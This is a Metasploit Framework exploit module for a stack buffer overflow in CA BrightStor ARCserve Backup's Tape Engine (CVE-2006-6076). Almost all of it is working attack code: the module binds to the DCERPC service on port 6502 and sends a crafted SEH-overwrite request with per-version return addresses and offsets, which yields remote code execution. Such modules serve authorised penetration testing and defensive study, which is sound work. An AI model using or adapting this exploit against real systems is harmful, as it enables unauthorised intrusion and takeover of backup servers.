Metasploit Framework

##

# $Id$

##

##

# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# web site for more information on licensing and terms of use.

#   http://metasploit.com/

##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

        Rank = AverageRanking

        include Msf::Exploit::Remote::DCERPC

        include Msf::Exploit::Remote::Seh

        def initialize(info = {})

                super(update_info(info,

                        'Name'           => 'CA BrightStor ARCserve Tape Engine Buffer Overflow',

                        'Description'    => %q{

                                        This module exploits a stack buffer overflow in Computer Associates BrightStor ARCserve Backup

                                r11.1 - r11.5. By sending a specially crafted DCERPC request, an attacker could overflow

                                the buffer and execute arbitrary code.

                        },

                        'Author'         => [ 'MC', 'patrick' ],

                        'License'        => MSF_LICENSE,

                        'Version'        => '$Revision$',

                        'References'     =>

                                [

                                        [ 'CVE', '2006-6076' ],

                                        [ 'OSVDB', '30637' ],

                                        [ 'BID', '21221' ],

                                        [ 'URL', 'http://www.milw0rm.com/exploits/3086' ],

                                        [ 'URL', 'http://www.ca.com/us/securityadvisor/newsinfo/collateral.aspx?cid=101317' ],

                                ],

                        'Privileged'     => true,

                        'DefaultOptions' =>

                                {

                                        'EXITFUNC' => 'thread',

                                },

                        'Payload'        =>

                                {

                                        'Space'    => 500,

                                        'BadChars' => "\x00\x0a\x0d\x5c\x5f\x2f\x2e",

                                        'StackAdjustment' => -9500,

                                },

                        'Platform' => 'win',

                        'Targets'  =>

                                        [

                                                [ 'BrightStor ARCserve r11.1', { 'Ret' => 0x2380cdc7, 'Offset' => 1158 } ], #p/p/r cheyprod.dll 07/21/2004

                                                [ 'BrightStor ARCserve r11.5', { 'Ret' => 0x2380ceb5, 'Offset' => 1132 } ], #p/p/r cheyprod.dll ??/??/????

                                        ],

                        'DisclosureDate' => 'Nov 21 2006',

                        'DefaultTarget'  => 1))

                register_options([ Opt::RPORT(6502) ], self.class)

        end

        def exploit

                connect

                handle = dcerpc_handle('62b93df0-8b02-11ce-876c-00805f842837', '1.0', 'ncacn_ip_tcp', [datastore['RPORT']])

                print_status("Binding to #{handle} ...")

                dcerpc_bind(handle)

                print_status("Bound to #{handle} ...")

                request =  "\x00\x04\x08\x0c\x02\x00\x00\x00\x00\x00"

                request << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"

                dcerpc.call(43, request)

                filler = "\x10\x09\xf9\x77" + rand_text_english(target['Offset'])

                seh    = generate_seh_payload(target.ret)

                sploit = filler + seh

                print_status("Trying target #{target.name}...")

                        begin

                                dcerpc_call(38, sploit)

                                rescue Rex::Proto::DCERPC::Exceptions::NoResponse

                        end

                handler

                disconnect

        end

end